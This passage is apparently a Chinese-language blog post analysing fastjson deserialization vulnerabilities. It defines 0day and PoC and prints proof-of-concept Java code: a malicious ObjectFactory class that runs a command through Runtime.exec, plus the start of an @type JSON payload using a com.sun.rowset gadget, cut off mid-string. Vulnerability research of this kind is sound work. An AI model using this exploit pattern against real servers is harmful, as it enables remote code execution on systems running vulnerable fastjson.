背景
fastjson号称要做最好的json解析库,但是上半年连续搜收到两份安全部的漏洞警告,很尴尬,因此对fastjson漏洞做了一个简单的研究。本文会分析2017年的远程执行漏洞和2019年上半爆出的0day漏洞。
名词解释: 0day:信息安全意义上的0Day是指在系统商在知晓并发布相关补丁前就被掌握或者公开的漏洞信息。 poc:Proof ofConcept,中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。
一、2017年的远程执行漏洞
官方链接。17年的这个漏洞相对比较简单,依赖@type的特性可以很容易的对服务器进行攻击。我先展示下poc代码,然后断点查看执行过程,最后总结流程和当时的解决方案。
poc代码
public class Exploit implements ObjectFactory {public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {exec("open /Applications/Calculator.app");return null;}public static void exec(String cmd) {try {Runtime.getRuntime().exec(cmd);} catch (Exception e) {}}
}
import com.alibaba.fastjson.JSON;
public class Demo {public static void main(String[] args) throws Exception {String payload = "{\"@type\":\"com.sun.rowse